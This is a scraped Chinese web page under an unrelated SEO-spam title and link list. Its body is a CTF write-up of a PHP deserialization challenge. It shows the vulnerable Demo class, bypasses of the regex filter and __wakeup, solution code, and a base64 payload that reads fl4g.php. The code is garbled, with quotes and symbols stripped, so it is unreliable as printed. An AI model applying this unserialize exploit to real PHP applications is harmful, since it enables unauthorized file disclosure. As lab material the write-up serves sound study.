当前位置: 首页 > news >正文

vps搭建vpn无法访问国内网站项目网站有哪些

vps搭建vpn无法访问国内网站,项目网站有哪些,网站建设 碧辉腾乐,清河网站建设进入靶场 进入靶场 ?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file#xff0c;默认值为 index.phpprivate $file index.php;// 构造函数#xff0c;当创建类的实例时会自动调用// 接收一个参数 $file#xff0c;用于初始化对象的 $file 属… 进入靶场 进入靶场 ?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file默认值为 index.phpprivate $file index.php;// 构造函数当创建类的实例时会自动调用// 接收一个参数 $file用于初始化对象的 $file 属性public function __construct($file) { $this-file $file; }// 析构函数当对象被销毁时自动调用// 使用 highlight_file 函数以高亮语法显示 $this-file 指定的文件内容// 符号用于抑制可能出现的错误信息// true 参数表示将高亮显示的内容作为字符串返回而不是直接输出function __destruct() { echo highlight_file($this-file, true); }// __wakeup 魔术方法当对象被反序列化时自动调用// 该方法用于检查反序列化后的 $this-file 属性值// 如果 $this-file 不等于 index.php则将其重置为 index.php// 注释中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this-file ! index.php) { //the secret is in the fl4g.php$this-file index.php; } } } // 检查是否通过 GET 请求传递了名为 var 的参数 if (isset($_GET[var])) { // 如果存在 var 参数对其进行 Base64 解码$var base64_decode($_GET[var]); // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串// /[oc]:\d:/i 用于匹配以 o 或 c 开头后面跟着一个冒号再跟着一个或多个数字最后再跟着一个冒号的字符串// i 修饰符表示不区分大小写if (preg_match(/[oc]:\d:/i, $var)) { // 如果匹配到则输出 stop hacking! 并终止脚本执行die(stop hacking!); } else {// 如果没有匹配到则尝试对解码后的字符串进行反序列化// 符号用于抑制可能出现的错误信息unserialize($var); } } else { // 如果没有传递 var 参数则以高亮语法显示当前文件index.php的内容highlight_file(index.php); } ? 我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数 考点分析 PHP 反序列化理解 PHP 对象的序列化和反序列化机制以及如何利用反序列化过程中调用的魔术方法如 __destruct、__wakeup来执行特定操作。正则过滤绕过代码中使用正则表达式 /[oc]:\d:/i 对输入进行过滤需要思考如何绕过这个过滤机制。文件包含通过控制 $file 属性的值利用 highlight_file 函数读取目标文件内容。 解题思路 构造序列化对象创建一个 Demo 类的对象并将 $file 属性设置为目标文件如 fl4g.php然后对该对象进行序列化。绕过 __wakeup 方法__wakeup 方法会在反序列化时将 $file 属性重置为 index.php需要找到绕过该方法的方法。绕过正则过滤输入的序列化字符串不能包含正则表达式 /[oc]:\d:/i 匹配的内容。Base64 编码将处理后的序列化字符串进行 Base64 编码作为 var 参数传递给脚本。 php在线运行,在线工具在线编译IDE_w3cschool ?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file初始值为 fl4g.php此文件可能包含我们要找的 flag 信息private $file fl4g.php; }// 创建一个 Demo 类的实例并对该实例进行序列化操作 // 序列化是将对象转换为一个字符串以便于存储或传输 $a serialize(new Demo);// 原代码中的正则表达式 /[oc]:\d:/i 会匹配以 o 或 c 开头后跟冒号、一个或多个数字再跟冒号的字符串 // 这里将序列化字符串中的 O:4 替换为 O:4是为了绕过 preg_match() 函数的正则匹配 // 因为替换后的字符串不再符合正则表达式的匹配规则从而避免被检测为恶意输入 $a str_replace(O:4, O:4,$a);// 在 PHP 反序列化时如果对象的属性个数与序列化字符串中声明的属性个数不一致 // 且序列化字符串中声明的属性个数大于实际属性个数时__wakeup() 魔术方法将不会被调用 // Demo 类实际只有一个属性这里将序列化字符串中的 :1:表示有 1 个属性替换为 :2: // 以此绕过 __wakeup() 方法防止其将 $file 属性重置为 index.php $a str_replace(:1:, :2:,$a);// 最后对处理后的序列化字符串进行 Base64 编码 // 因为原题目代码会对传入的 var 参数进行 Base64 解码操作 // 这样编码后得到的字符串可以作为 var 参数的值传递给原题目代码进行反序列化操作 echo base64_encode($a); ? TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ 笔记  需要对序列化十分熟悉
http://www.tj-hxxt.cn/news/223360.html

相关文章:

  • wordpress建站难不难吉祥又成功的公司名字
  • 织梦校园招生网站源码我做的网站打开慢怎么处理
  • 斗门区住房和城乡建设网站php做网站子页模板
  • 小城市网站建设业务电子商务网站开发模块流程图
  • 免费商城网站制作湖北建设执业资格注册中心网站
  • wordpress postview搜索引擎优化的办法有哪些
  • 免费ppt模板免费网站免费网站在线观看人数在哪买
  • 固安建设局网站创建网站怎么赚钱的
  • 下载百度网盘宁波seo品牌推广排名
  • 公司网站建设推进表汉中微信网站建设推广
  • 杭州做网站需要多少钱建设网站价钱
  • 家居企业网站建设效果网站侧边栏怎么做
  • 广州知名网站推广视频会议软件
  • 手机端seo多语言网站seo
  • 权重网站建设桂林象鼻山在哪个位置
  • 厦门做网站企业wordpress sahifa
  • 合肥网站制作QQ织梦网站模板视频
  • 网站收录工具江苏建设人才考试网二建
  • 常州中环互联网网站建设电子商务平台建设预算
  • 网站建设组织架构网上推广工作
  • jsp 企业建站男和男人怎么做那个视频网站
  • 手机访问跳转手机网站公司的宣传网站应该怎么做
  • 网站建设相关合同内容云和网站建设
  • centos架设wordpress网站建设优化加盟代理
  • 怎么做根优酷差不多的网站怎么访问被禁止的网站
  • 网站建设平台用乐云践新网上做网站接活怎么样
  • 梅州建站网络网站的建设过程
  • 中原区网站建设百度搜索大全
  • 昌吉市住房和城乡建设局网站网站和主机有什么不同
  • 珠海网站建设黄荣如何建立自己的app